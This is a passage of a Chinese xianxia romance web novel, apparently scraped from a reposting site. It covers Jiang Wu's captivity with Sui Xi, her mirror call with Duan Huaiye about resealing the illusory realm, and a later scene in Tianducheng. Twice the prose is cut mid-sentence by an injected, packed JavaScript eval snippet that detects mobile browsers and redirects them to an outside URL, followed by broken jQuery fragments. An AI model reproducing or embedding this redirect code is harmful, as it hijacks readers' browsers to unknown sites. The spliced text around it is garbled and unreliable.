睢羲沉默了片刻,翻身把姜芜压在身下,他垂眸望进姜芜的双眸中,重复道:“梦?” 姜芜蹙眉看着睢羲,像是在思忖,又像是在放空,但是她体力告急,连带着思维也开始迟钝,直到她看到睢羲耳畔垂落下来的白发才反应过来。 “原来不是梦……” 睢羲一手拢着姜芜,一手拂开她脸上的乱发,“都做些什么梦?经常会梦到我吗?” 姜芜垂着双眸并不回答,只是留恋了片刻睢羲的气息后用力推开他,随即翻身而起,清了清嗓子说:“到此为止吧。”说完,她抬起袖子看了一眼手臂上的咬痕,偏头睨了睢羲一眼,着手开始疗伤。 戾气腾起的瞬间便立刻凝滞,换来的是气势汹汹的心绞之痛,姜芜闷哼一声,随即迅速解开自己的衣裳,那枚在修复太初剑时被取出的噬魂骨钉,现下重新出现在了她的心口之上,黑色的戾气缠绕在其上,泛着妖冶的金光。 姜芜松开捏着衣襟的手,长长地舒了一口气,“我饿了,想吃东西。” 睢羲闻言从床榻上起身,随后横抱起姜芜顺着木阶向下走去,“想吃什么?” 姜芜伸手揽住睢羲的脖颈,“你准备了什么我便吃什么,有些累,没什么胃口,但又很饿。” 睢羲垂眸不语地看着姜芜,低头去舔咬她的双唇。 姜芜不满地轻哼一声,她整个人都在睢羲身上,根本没有着力点,只能揽紧睢羲的脖颈,轻声说:“你怎么……我……我要生气了……” 睢羲轻笑一声,他低头看着姜芜,见她气息不稳的喘息着,眸光潋滟,恍若上好的翡翠冰种玉料,“你要如何生气?” 姜芜眸光一凛,她从纳袋中取出一只白玉簪,手指翻转,用尖端迅速抵在了睢羲的脖颈上,“这般生气如何?” 睢羲轻笑一声,他握着姜芜的手将白玉簪抵在了自己心口的伤患处,“你应该这般,不必留情。” 姜芜在簪尖触碰到睢羲衣襟的那一刻,迅速甩手扔开白玉簪,随即推开他往楼下走去,白玉簪跌进角落中摔了个四分五裂。 睢羲看着姜芜步履缓慢地走下楼,随后捡起白玉簪的碎片,将其修复如初。 “我想过了,在我死之前不会再让你离开。”睢羲说些用白玉簪挽起了姜芜的长发,“你也不必再想其他的,噬魂骨钉已经重新改造过,封住了你全部的经脉,而且你为了修复太初剑,已经消耗掉了所有的戾气,在无幻之境同凡人无异,不要再白费力气了,好好养伤吧。” 姜芜沉默着不语,自顾自地取了茶杯倒水,抿着水来缓解喉咙里的干痛。 睢羲见状伸手取过食盒,将其中的饭菜取出,放于姜芜面前,他拿着筷子递过去,“吃饭吧,不是饿了吗?” 姜芜抬手去拿筷子,见睢羲不松手便有些不解地抬眸去看他。 “为何不同我讲话?”睢羲问道,“在梦中便有些讲不完的话,现下便无话可讲?” 姜芜用力抢过筷子,夹了一些青菜来吃,她长时间未进食,咽得有些艰难,只能非常缓慢地咀嚼。 睢羲也不恼怒,他摸了摸姜芜的头发,温声道:“慢一点吃,多吃一些,你瘦了很多。” 姜芜听着心中发酸,只能多吃了几口饭菜压下去。 睢羲伸手剥了几只虾放到姜芜面前的食碟中,又盛了一碗鱼汤放在她面前,“慢慢吃,不要着急。” 姜芜吃了整整的一碗米饭才停下筷子,她捧着碗喝着鱼汤,依旧没有同睢羲说一句话。 睢羲见姜芜吃完,开始收拾碗筷,等他将空食盒送出去再回来时,姜芜已经背对着躺在了美人榻上。 睢羲挤上前把姜芜拢在怀中,轻轻地蹭她的墨发,“还是不想同我讲话,为何?生气了吗?” 姜芜往长榻里侧靠了几分,合着眼眸说:“没有,累了,想睡觉。” 睢羲把姜芜拢在怀中,轻声说:“别再走了好吗?即便你不再心悦我,就当作是可怜我,陪着我吧。这么做确实很自私,更何况还有很长一段时间,你便当我是个小人吧,在此期间,你的任何要求,我都会满足你的,即便你要去人间,也请带着我,好吗?我不会耽误你很长时间的,不要再将我独自留下了,见不到你的时候,我很想你。” 姜芜的双手紧紧地攥成了拳,手中抓着睢羲的衣裳,“睢羲。” “嗯?” 姜芜转身抬眸看向睢羲,手指抚摸着他的面颊,“干嘛将自己说的这般可怜?” 睢羲一时语塞,只是静静地看着姜芜。 姜芜将腕子上的手绳取下,重新戴回了睢羲的手上,将其中一颗从上面解了下来,“好好戴着,平安无事便好,其中一颗多了条裂缝,以后要小心一些,注意安全,这一颗我有用便取下来了。” 睢羲探头吻了吻姜芜的眉心,“抱歉,让你担心了,用多少都可以,全部都拿回去也没关系。” 姜芜重新埋进了睢羲的怀中,瓮声瓮气地说:“该我向你说对不起的。” 睢羲闻言用力抱紧了姜芜,声音有些颤抖,“不要自责,你没有对不起我,你没有对不起任何人。是我,都是我的错,如果不是因为我,你也不会像现下这般纠结,当初是我考虑不周。柏雨也不是你的过错,是我没有能力保护好她。濯濯,放弃吧,天下、苍生,都不该你来管,我也是,一切都是命。” 姜芜听到睢羲在喊自己的名字,习惯性地将自己更贴近睢羲,“我之前以为你是装作不懂,但是没想到你是真的不懂,不懂也挺好的。” 睢羲蹙眉,他不知晓所为的懂是懂何事,但总觉得姜芜所说的是件非常重要的事情,他伸手托起后者的脸,“何事我不懂,你同我讲清楚。我懂或者不懂,你都不应该去管,都不应该去封印无幻之境。” 姜芜笑了一声,她抬眸认真地看着睢羲,伸手描摹着他的五官,“我也不知晓你为何不懂,我以为你懂的,看来是我的问题,段怀野都懂,就你不懂,傻子。” 睢羲听到段怀野的名字,心中不悦,眉心拢得更紧,压着脾气问道:“他懂什么?” 姜芜见状伸手抚平睢羲眉心的褶皱,心中起了一丝逗弄之意,“他有天书哎,上知天文下知地理,中通人和,还知晓未来与过去,所以啊,他懂得可多了。” 睢羲盯着姜芜看了片刻,随即轻声祈求道:“濯濯,你不能这样,不要在我面前提他的好,这样对我不公平。” 姜芜看着睢羲低眉顺目的样子,又想起段怀野在她面前信誓旦旦的模样,顿时忍俊不禁,“这样挺好的。” “好什么?”睢羲问道,“你还想做何事?” 姜芜想逃避,想短暂地忘记,但是看着睢羲又不得不面对现实,理智与心魔一遍一遍地提醒着她,逼她引颈就戮才得以痛快。 姜芜缓缓地收敛了笑容,她神情冷漠地伸手推开睢羲起身,“我想做的事情从未变过。”说完,她便绕过睢羲预备下榻。 睢羲一把扯过姜芜压在身下,“段怀野他不懂,他什么都不懂,你方才可不是这般,为何说变脸就变脸?而且你口中所说的梦,梦中人是我,你似乎一点也不惊讶,你心里有我,为何不承认?” “梦见你,我为何要惊讶?”姜芜一脸不解地看着睢羲,“我们方方面面都如此合拍,梦见别人,我才要惊讶呢。睢羲,是你让我选的,我既然选了,你为何又不尊重我的选择?” 睢羲咬牙,神情恶狠狠地说:“我以为逼你一把,你会回心转意,没想到你却一意孤行,我将若木之根毁了,你修不了无幻之境的封印了。” 姜芜一脸风轻云淡地笑着,“有五彩之石在,还需要其他的吗?” 睢羲面前闪过一丝茫然,随即冷着脸对姜芜说:“别笑!我说过,在我死之前,你哪里也不准去。我死了,你喜欢去哪里便去哪里。” 姜芜偏头思忖了片刻,随后笑着摇了摇头,“那样不好听,像是殉情。” 睢羲闻言神思一片茫然,怔怔地看着姜芜,随后卸力压在姜芜身上,喃喃自语道:“之前是我没有能力,你说让我等你,等来得只有春日相见,后来你让我再等你,我等了很久,才将你盼回来,我在等待与想念中度过了数不胜数的极昼与长夜,却不曾想到,相同的事情再度发生时,我依旧无能无力。” 姜芜抬手勾起睢羲的一缕长发,眼中全是模糊的黑白之色,睢羲的身子骨很重,实打实地压在她的身上,窒息与疼痛消磨着她其余的情绪,“离开我,忘记我,以后我如何都同你无关,便不用再受这份心酸苦楚。” 睢羲说:“我不要。” 姜芜闻言无奈地叹了一息,伸手拍了拍他的肩背,“牛皮糖。” 睢羲迅速起身看着姜芜。 姜芜见状诧异地挑了一下眉毛,瞬间感觉周身迅速轻松了不少,“怎么?” “我去买。”说完,睢羲便起身整理着衣裳向外走去。 姜芜伸出手却没有勾住睢羲的衣角,只能看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650439|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他快步走出树屋,她无奈地摇了摇头,起身整了整身上凌乱的衣裳,随即从纳袋中取出了一面鎏金雕花铜镜。 姜芜抬手忍着疼痛往其中注入一丝灵力,黄铜镜面突然荡起波纹。 “姜芜?你去哪了?” 段怀野的声音率先传来,随后镜面上的面容才逐渐清晰。 姜芜说:“回家了。” 段怀野仰躺在床榻上,手中举着灵照镜,他盯着姜芜看了片刻,随后才问道:“何时回来?还回来吗?” 姜芜合着眼眸长长地舒了口气,“回去啊,不回去谁帮你修复无幻之境?” “你认真的?” 段怀野从床榻上翻身而起,“你知晓修复无幻之境需要用到什么吧,我觉得你的提议很好,在大荒与无幻之境间打通一条可供戾气经过的通道,让戾气与灵气重新循环起来,这样皆大欢喜,去他鸟的天书预言。” 段怀野看着镜面突然变黑,原以为是姜芜切断了联络,随即便听到她轻声开口。 “可是......睢羲该怎么办呢?” 段怀野蹙眉,“死了便死了呗,谁能长生不死,反正他还有几百年的寿命,你陪着他,说不定还能延长几年,长着呢。” 姜芜深深地吸了一口气,捧起灵照看着段怀野,“你答应过我,你会救他的。你若是食言,我就再折一次太初剑。” 段怀野看着姜芜泛红的眼尾,沉默不语。 姜芜苦笑着,像是在自言自语,“你后悔了吗?后悔当初自己以身封印结界吗?当初若是用五彩之石,怕是没有后续这般种种。” 段怀野见状蹙起了双眉,“既然如此,你还将他推远做何事?” 姜芜深深地吸了一口气,“我不想等我死后,他受人排挤冷落,遭人唾弃,不希望让人觉得都是因为他而害得所有修罗下场凄惨,死人就应该承担所有后果,要让所有人知晓我为得是天下大义,而不是因为他,而他只是个被抛弃、被玩弄感情的可怜人。他同百衢为修罗一族所做的种种,不应该毁在我手上,我要让他没有负担的活着,而我只是一个没有感情的石头。春日来了,万物复苏,我可以让一切归于平静安宁,还人族一个太平盛世,只求你们还给我一个健康完好的睢羲。” 段怀野问道:“当初补天之时,你也是这般想的?” 姜芜嗤笑一声,“我懂什么天下大义?只是他们同我讲,天破则万物不复存在,让我自行考虑,母亲的养育之恩,我又如何能不报?之后,天下太平,他们又将我的神魂提取出来,重新凝聚封为春神,天上一天地下一年,让我天天早起当值,忙里偷闲同睢羲相聚,好不容易争取到能够回来的机会,都怪你,全给我毁了!我恨你!我恨死你了!我只是想同他一起,有这么坎坷吗?!” “我何时答应你的事情没有实现过?等改日你回来,我同你一起去取第四卷天书。”段怀野忍俊不禁,“你瞒了这么久的秘密同心事,为何单单要同我说?” 姜芜自暴自弃地合上双眸,“你有天书在手,我瞒得住你吗?在一切尘埃落定之前,我会杀了你,这样便不会有人知晓我的心事。” “一言为定,届时我同你一起死。”段怀野笑着应了一声,“不过封印无幻之境,时间长久下去,或许能够治愈睢羲的伤,但是你不怕他疯癫吗?” “所有的方法,我全都试过了,重新封印无幻之境是没有办法的办法。”姜芜脸上浮现出一丝自信,“睢羲不会疯癫的,他身上有春神的神力,怎么可能会疯?” 段怀野闻言神情一愣,随即苦笑道:“姜芜,你真是一个处心积虑的女人,竟然为了让睢羲避免修罗宿命,居然以神躯与他结合。你难道就没有想过,正因为如此,所以才会有后续我用太初剑在他心上刺的那一剑?天道不会允许有太超出常规的存在。” 姜芜笑着了一声,“没关系,都是我的错。待无幻之境重新被封印,睢羲完全可以凭借着春神之力和充沛的戾气自愈。” 段怀野看着镜面之中的姜芜,声音飘渺若云丝,“姜芜,你难道不好奇当初我为何以神魂封印结界吗?” 姜芜感受到了树屋外的结界波动,并没有听清楚段怀野的话,也不想让睢羲发觉她与外界联系,急急忙忙地收了灵照,“睢羲回来了。” 段怀野看着突然安静下来的灵照,黄铜镜面映照出商扶庭的面容,他让自己心中烦闷起来,用于掩盖胸腔中随处可见的失落。 姜芜看着睢羲拿着几个纸包走过来坐在她的身侧,他打开其中一个纸包露出里面裹满芝麻成块的牛皮糖。 睢羲取了一块递到姜芜面前,牛皮糖很软,带着一股芝麻的糊香味,“刚刚做出来的,有些烫,吃得时候要小心。” 姜芜抬眸看着睢羲,随后低头咬走那块牛皮糖。 睢羲试探地问道:“好吃吗?甜吗?” 姜芜伸手从纸袋中取了一块牛皮糖递到了睢羲的唇边,默不作声地看着他。 睢羲见状先是迟疑了片刻,他有些拿捏不准姜芜的意思,但依旧伸手去拿她手中的那片牛皮糖。 姜芜绕开睢羲的手,直接将手中的牛皮糖递到了他的唇边。 睢羲迟疑地咬了一口。 姜芜问道:“好吃吗?甜吗?” 睢羲点了点头,“好吃,甜。” 姜芜面上浮现出一丝笑意,她将手中的牛皮糖塞进了口中,含糊不清地说:“好吃,甜。” 睢羲神情动容,他垂眸看着姜芜,眼神温和,伸手小心翼翼地擦去她唇角的一粒芝麻,“濯濯,多同我说说话吧,多同我说说话。” 姜芜问道:“你去狌狌处取记忆做何用?为何近三百二十八年的记忆没有取?” 88. 轻重 睢羲如实回道:“因为在那三百二十八年里,我们之间并不是很愉快,我想留下一些值得的一些记忆。修罗死后不会留下尸首,但是我想留下些东西,这样你若是有一天能够想起我,不至于连一点可回忆的东西都没有。” 姜芜一愣,缓慢地伸出舌尖舔舐着指尖的芝麻和糖浆,轻轻地应了一声,“也是。” 睢羲问道:“也是什么?” 姜芜隐在广袖下的手掐住了掌心,面色如常地说:“你年纪不大时便同我纠缠在一起,现下让你离开我,忘记我,同我一刀两断,确实有些困难。” 睢羲蹙眉,半隐于袖中的手攥紧,“你明明都知晓,为何还要说些这种话?” 姜芜垂下眼眸,避开睢羲的视线,神情淡然,“那你有没有考虑过,其实是习惯,习惯是最可怕的,其实我们之间已经什么都没有了,你或许可以试着放开手,并没有想象中那么难捱。无幻之境内还有很多女修罗,女妖也也好,人族也罢,只要你喜欢,没有得不到的。” 睢羲讶然,他看不惯姜芜这般模样同自己讲话,伸手扯着她的手臂拉向了自己,“我让你同我讲话,并不是讲这些。” 姜芜不防备,整个人跌进了睢羲的怀中,她抬眸有些惊讶地睢羲,在看到后者泛红的眼尾时,心中一阵阵地发酸。 姜芜长叹了一口气,伸手碰了碰睢羲的眼尾,随即却被他用力推开。 姜芜直接从美人榻上摔了下去,面上带着些愠色,“不让碰便不让碰,干嘛要推我?把我拽过去的是你,推开我的也是你。” 睢羲睨了姜芜一眼,起身理了理衣襟随后向外走去。 姜芜伸手揉了揉撞到了手臂,随即起身拿起散落在一旁的纸包放到了桌上,她取了个软垫坐于桌前,将纸包全部拆了开来,挑挑拣拣吃了几块肉脯,又从纳袋中取出寂满给的龙鳞,研磨成粉后化在了水中。 “当心积食。” 姜芜嚼着口中的肉脯,闻声抬眸看了睢羲一眼,接着便被肉沫呛到,抑制不住地咳嗽了起来。 睢羲将手中的外袍和帕子放置一旁,赤/裸着上身到桌前倒了一杯水递到了姜芜面前,他试探地伸出手,犹豫了片刻后最终还是轻轻地拍了拍她的脊背。 水汽将睢羲身上的气息放大,变得绵软悠长,姜芜看着面前结实的手臂,喝水压了压咳嗽,眼神赤裸地顺着手臂移动到了睢羲的脸上。 “将头发染一染。” 睢羲见姜芜止住了呛咳,便将茶杯放在了桌上,他挑了一缕黑白夹杂的长发到眼前,“不染,没人会在意这么多,而且也不妨碍我找其他人。” 姜芜闻言直起腰身看着睢羲,伸手放在了他赤裸的侧腰上摩擦着,轻声问道:“你要找谁呀?” 睢羲垂眸看了一眼姜芜的手,随后又将目光落到了她的脸上,“你不要我,还不允许我找别人吗?”说完,他便伸手把姜芜的手拨下去。 “呀,说得自己好可怜啊。”姜芜看了一眼自己的手,拿起那杯龙鳞水递给了睢羲,“把这个喝了。” 睢羲接过姜芜手中的杯子,神情不解地问道:“这是什么?” 姜芜如实回道:“龙鳞水。” 睢羲将杯子放在姜芜面前,“你喝。” 姜芜闻言看了一眼睢羲,避开龙鳞水去拿桌上的那杯清水,她慢慢地饮着水,将所有的水都饮尽后才将杯子放回原处,“睢羲,你现下的模样比我们初见时成熟太多了,少年人和青年人之间差别其实很大的。你若是以现下这副模样出去找人,一定会吸引到很多人的。” “是吗?”睢羲看了姜芜一眼,“有吸引到你吗?” 姜芜闻言静静地看着睢羲,随后在后者的注视下,缓慢地欺身上前吻住了睢羲的双唇,吻着他的唇角和下颌,留恋于他的脖颈和胸膛,施力将他压在地上的兽皮上。 睢羲也顺从地躺下,双眸看着姜芜沉醉又迷离的神情,伸手抚摸着她的长发。 “你这般进来,不就是想要这个结果吗?谁教你的?”姜芜气息不稳,居高临下地看着睢羲,“教你的人有没有同你讲过,这样不会产生感情,只有毫无根据与底线的欲望。我也是个拥有七情六欲的,而且来者不拒。” 姜芜说完伸手摸到桌上的杯子,含下龙鳞水全部渡给睢羲,继续辗转于他的双唇,双手游走于他的身上,不住地揉搓。 “濯濯,你说的那些对于我来无甚意义。”睢羲托着姜芜的脸,深吻的间隙,缓缓道:“欲望本就是用来疏解的,不是所有人都像你这般,为自己的一言一行负责。” 姜芜撑起身看着睢羲,抿了一下双唇,“你不要同我讲这种话,否则会让我觉得我是个挟恩图报之人,当初救你不过是因为众生平等。” “怎么会?”睢羲神情无奈地说,“于他们而言,我就是一个嗜血成性、十恶不赦的修罗,是你不嫌弃我,是你给了我一个侍奉你的机会,现下你要收回去,是我不愿。” “净说些傻话。” “咳咳。” 百衢现在门口的位置,打破了两人之间暧昧的气氛,“白日宣淫,二位好兴致啊。” 姜芜起身看向百衢,神情有些不悦,“你为何能进来?” 睢羲起身把姜芜拢于怀中,伸手拉上她滑落的衣襟,“你先出去稍等片刻,我马上来。” 百衢勾唇冷笑一声,“好,要多久?若是不行,我明日再来。” 姜芜开口道:“话多,滚出去!” 百衢耸了耸肩,不以为意地走了出去。 睢羲抚了抚姜芜的后背,安抚道:“是他自己解开的,我没有告诉他,明日便换一个。” 姜芜问道:“又要出去?” “要一起吗?”睢羲说,“据说是一支意外走进无幻之境的人族商队,不小心落于主战派的手中,所以要前去交涉一番,希望那支人族商队还活着。” 姜芜挑眉,“你这是在问我,还是通知我?不让我在家休息吗?” 睢羲托着姜芜站了起来,“在通知你。”说完,他便把姜芜放在梳妆台前,拿了象牙梳子通顺了她的长发,随即手指灵活地全部辫了起来,发尾处挂了几只小铃铛。 “这样,你在哪里,我都能听到。”说完,睢羲拎起姜芜的发辫轻轻地抖了几下,小铃铛发出清脆悦耳的声音。 姜芜盯着那几只小铃铛看了片刻,随后从纳袋中取出那套花青色的衣裳递给了睢羲。 睢羲双眸一亮,他伸手接过那套熟悉的衣裳,偏头吻了吻姜芜的脸颊,“真心也好,假意也罢,不过短短几百年的时间,陪着我吧。让自己有得选,你若是选不出,那便让我替你选。” 姜芜看着铜镜中睢羲的面容,看着因为紧贴的身体而垂到了她身上的黑白交杂的长发,喃喃道:“陪着你。” 睢羲应了一声,“嗯,陪着我,待我死后,好好地活下去,去你所热爱的人间,住到南城的宅子里,种些你喜爱的花草,这样我也会很开心。假若某一天想起我,我会在这些记忆中等你,但是我希望你打开前再三思索,最后唏嘘一声,奔赴未来的新生活。”说完,他便取了个木盒放在了姜芜面前的梳妆台上,里面盛放着狌狌从他这里提取出来的记忆。 姜芜掐着自己的手心,抬眸看向睢羲,“可是生命好漫长的。” 睢羲说:“所以你要多做一些觉得快乐的事情,何事都可以,很快便会有新的际遇。” 【并州客栈常奉眠房间】 雾沅看着宿凌薇一杯接着一杯地喝着,忍住不出声劝道:“可以了,再喝真的要醉了。” 宿凌薇伸手擦了擦唇上的水渍,抬起一双泛红的双眸,辩解道:“我喝的分明是水,喝水怎么会嘴,只有喝酒才会醉,我以后再也不喝酒了,误事!” 雾沅问道:“发生何事了?” 宿凌薇捂着自己的脸,情绪有些崩溃,“我昏头了,我昏头了,雾沅你说未来真的没法改变吗?” 雾沅蹙眉,想起自己在玃如处看到的未来,轻轻地摇了摇头,“我不知道。” 宿凌薇絮絮叨叨地说:“我就不应该去凛月楼,我就不应该贪图他的美貌,我也不应该喝那么多酒,我好悔啊,这下怎么办啊?”说完,她伸手擦了擦眼泪。 雾沅欲言又止地看着宿凌薇,片刻后将她的杯中续满水,“是发生什么事情了吗?” 宿凌薇抬眸看向雾沅,控诉道:“就是我之前讨厌的未来成真了,我说好的不会靠近烛九阴的,毁了毁了,全都毁了,濯濯呢?我要找濯濯。”说完,她起身便打算往隔壁走。 雾沅出声喊住宿凌薇,“等等,姜芜不在隔壁,她……她回无幻之境了。” 宿凌薇心中委屈,神情烦躁地忍不住跺了跺脚,“怎么这么不赶巧啊,我该怎么办啊?” 雾沅说:“你先别急,冷静下来,事情其实没有你想象得那般糟糕,真的。” 宿凌薇擦着眼泪,神情委屈地说:“怎么不严重,我说好的不会靠近烛九阴一步的,没想到过了一夜就全变了。” 雾沅哑然,一时之间不知晓该如何安抚宿凌薇。 寂满急匆匆地内间转了出来,“天河之水该怎么用啊?我既给眠眠喝了,也给她滴了眼睛,但是都没有效果啊,怎么办啊?” “这……” 雾沅看了一眼正在擦眼泪的宿凌薇,觉得后者现下估计也无暇来回答寂满的问题,他抬眸向门口看了一眼,伸手拍了拍寂满的肩膀,“可以去问问段道尊。” “段怀野?”寂满闻言看向门口,神情犹犹豫豫地说:“我跟他又不熟悉,我宁愿去无幻之境找姜芜。” “这……” 雾沅顾虑重重地看向宿凌薇。 宿凌薇泪眼婆娑地抬起头,一脸不解地问道:“你们看我有何用,我又不怎么懂医术,而且常奉眠的眼睛不一直都是濯濯在盯着吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656888|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿凌薇话音刚落,段怀野便推门而入,将三人吓了一跳,寂满心中顿时产生了一种非常诡异的感觉,这个屋子里两只妖和一个修罗,而门口站了一个空前绝后的修真界第一人,怎么看都有一种死到临头的错觉。 寂满哭丧着捂住了脸,有些怀念商扶庭还在的日子,虽然两人长得一样,但是气势上完全不同,毕竟商扶庭于他而言只是个一根手指头便能戳倒的小道士。 段怀野进门后四下看了看,“那个瞎了眼睛的姑娘呢?” 寂满闻言大惊,硬着头皮道:“你要做何事?” 段怀野神情怪异地看着寂满,“自然是给她看眼睛,我若是真想对你们怎么样,便不会同你们好好讲话了。” 雾沅上前挡在了寂满和宿凌薇的面前,“你还未同我们讲过同商扶庭的关系。” 段怀野挑眉,随口道:“说来也巧,一切都是天意,若是我说商扶庭是我的转世,你们会信吗?当年我以三分的元神与全部的修为封印无幻之境,留了一部分神魂在太初剑之中,剩余的魂魄入轮回转世三次,生生世世都在寻觅,直到商扶庭这一世,无幻之境被厍灯破出一道裂痕,我的元神得以解放,救了奄奄一息的商扶庭,与他融为一体上长衡山修行,再到此时太初剑断,我才得以真正的醒来。” 寂满问道:“你给我们讲得那个女娲补天的故事,你说姜芜便是五彩之石,可是真事?” 段怀野说:“我手中可有天书,而且我同姜芜交好多年,怎么可能骗你们,不过保险起见,你们还是把这件事情烂在肚子里,否则容易给姜芜招致杀身之祸,君子无罪,怀璧其罪。五彩之石,可是有大用处,到时若是暴露了,姜芜估计会被全九州逼迫自戕。” 雾沅问道:“有何用处?你当年接近姜芜,可是为了五彩之石?” 段怀野给三人数着五彩之石的用处,“炼丹、炼器这只是最普通的,延年益寿、强身健体更不必提,轻则像瞎眼姑娘这般,重则像睢羲那般,都可以治好。我看到你们在荆州之时重伤了睢羲,若是没有五彩之石,睢羲怕早已经死了。” 寂满大惊,“你的意思是睢羲身上有五彩之石?” 段怀野见三人有无数的疑问,索性坐下来同他们一一解答,“姜芜给睢羲的不过是补天之时剩余的一些,充其量算边角料而已,已经没有了厉害之处,要想救那姑娘的眼睛,或者救睢羲,还需要挖姜芜的心才行,不过多少有些大材小用了。” 宿凌薇闻言拍桌而起,“荒唐,你说得都是什么狗屁话,睢羲怎么可能为了苟活而伤害姜芜,还有奉眠的眼睛,她宁愿一直瞎着,也不可能用姜芜的心。若是没有了心,姜芜还怎么活?!” 段怀野扫了寂满一眼,“是啊,没有了心,姜芜还怎么活?但是除了你之外的人,也跟你是同样的想法吗?五彩之石对于你没用处,但是对于他们呢?”说完,他意有所指地看向了寂满和雾沅。 “五彩之石说不定可以救那姑娘的眼睛,又或许可以解开大荒的封印,又或许可以让整个霰雪蝶一族起死回生,用途大得很,只需要死姜芜一人,便可以拯救成千上百的人。牺牲姜芜一家,可以拯救万家灯火,孰轻孰重?哪一个更划算,还需我来解释吗?” 雾沅和寂满闻言顿时陷入了沉思。 宿凌薇厉声道:“段怀野,你莫要在此挑拨离间,你就是一个阴险狡诈的小人,这一切都是你的手笔和孽障,没有你以天书赐福便不会有后续的悲剧,晓芙不会心怀侥幸地同陌离在一起。大荒和无幻之境也不会被封印,霰雪蝶一族也不会迁出大荒遭受灭族,没有你,睢羲也不会受伤,濯濯也不会取七仙的心脏来救他,他们两人也不会到这种没得选的地步,都是你,一切苦难的源头,都是你,你从一开始便不该出现不该活着。” 雾沅恍然大悟,从方才的不切实际中清醒过来。 宿凌薇见段怀野不语,继续道:“你当初靠近濯濯,为得便是她心脏中的五彩之石吧?最后为何又放弃了,转而以神魂献祭?段怀野,你是喜欢濯濯的吧?你见不得她同睢羲好,所以你预备杀了睢羲,却不曾想到被反杀,无可奈何之下所以才献祭了神魂吧?” 宿凌薇说完嗤笑了一声,这番话说出口她自己都不相信。 “没错。”段怀野笑着承认,“我是喜欢姜芜,而且也确实看不惯睢羲,他何德何能让姜芜为他至此呢?用性命换来的神位说放弃便放弃,只为与一个修罗长相厮守?真是一个天大的笑话。” “你呢?”宿凌薇问道,“你段怀野又是什么来历?纵使天赋异禀,又手握天书,我不信你只是一个普普通通的修士。你说睢羲是一个修罗不配与濯濯长相守,那你段怀野便配吗?” “普普通通的修士?”段怀野笑了一声,他掌着手中的茶杯把玩,“普普通通的修士哪能到这种地步?哪怕是七仙合力也不能将我如何。” 宿凌薇双眸一眯,“段怀野,你究竟是什么东西?” 89. 魔鬼城 【冀州天都城】 宗华牵着马跟在沈确身后由北进入了热闹繁华的天都城,他神情新奇地看着四周,震惊于天都城的宝马香车与人声鼎沸,到处都是各种他未曾见过的新鲜玩意。 “阿确,这天都城真的好热闹啊。” 沈确牵着马回头看了宗华一眼,朝他招了招手,“宗华,我们先去送东西,过会儿再逛,正事要紧。” 宗华应了一声,快步赶了上去。 两人一路打听着来到了除妖司的门前,守门的两位法师将二人拦了下来。 “来者何人?” 沈确说:“五行道宗沈确,求见天府法师司空星澜,事关天都城南瘟疫一事,我师兄托我带来了解决瘟疫的法子,还请法师速速禀报。” “五行道宗的人?请稍等。”说完,其中一个法师快步走进了除妖司内。 两人在门外等候了约莫一盏茶的功夫便见司空星澜神情疲惫地大步走了出来。 沈确持剑上前,“司空法师,长远不见。我受我师兄商扶庭的嘱托前来送天河之水,不知天都城南百姓现下可好?”说完,她便将怀中的瓷瓶递给了司空星澜。 司空星澜闻言迅速上前,神情郑重地双手接过,“无幻之境艰险,除妖司无能,不能亲自去取天河之水,道友一路前来辛苦了,不如到司内一坐休息片刻?我也好款待二位。” 沈确谢绝了司空星澜的好意,“不了,我们还有急事要赶回并州,便不在冀州久留了。” 司空星澜追问道:“道友莫急,你方才说你们是从并州赶来的?听闻羽族作乱,不知现下并州情况如何?” 沈确如实道:“羽族作乱,长灵不宁,情况不是太好,好在修罗一族没有危及并州百姓。” “如此甚好。”司空星澜拱手施礼,“不日除妖司众人便会前往并州,与各位共进退。” 沈确勾唇一笑,抬手施礼,“法师留步,我们便不久留了,希望能与法师早日在并州相见。” 司空星澜将早已经准备好的银票与灵石递给了沈确,“深入无幻之境取得天河之水并非易事,商道友有大能耐,你们解了城中百姓的燃眉之急,也是解决了我们除妖司的麻烦,我们无以为报,几张银票和一些灵石而已,还请收下,就当作是缓解道友路上的辛苦吧。” 沈确讶然,立即摆手拒绝道:“法师言重了,我只是来送东西而已,天河之水是我师兄寻到的,我不能替我师兄私收法师的东西,即便今日是我师兄前来,他也不会收法师的东西。” 司空星澜闻言也不强求,“既然如此,还请道友收下这些灵石吧,你是灵修,这些必定能用得上。” 沈确思忖了片刻,伸手接过了那袋灵气,“那便谢过天府法师了。” “言重了。” 沈确抬手,“告辞,法师留步。” “一路平安。” 司空星澜目送二人离开除妖司,随即对即将出门的玉衡法师殷娉婷说:“宫法师呢?” 殷娉婷向后看了一眼,“一会便到。” 司空星澜看着手中的瓷瓶说:“过会你们同我一起去城南,五行道宗送来了天河之水,希望能有用处。” 殷娉婷说:“天府,你有没有发觉自从雍王死后,城南的疫病确实缓解了不少?” 司空星澜眉心一拢,出声告诫道:“玉衡慎言,现下朝堂更迭,我们也只能随波逐流,除妖司本身就受皇家忌惮,一朝天子一朝臣,能居于南斗北斗之位的,都是签过死契的。” 殷娉婷不以为然地说:“司空,都说伴君如伴虎,成为天府法师你后悔吗?” 司空星澜摇了摇头,“不悔。” 二人牵着马走到主街上时,沈确便将手中的那袋灵石交给了宗华。 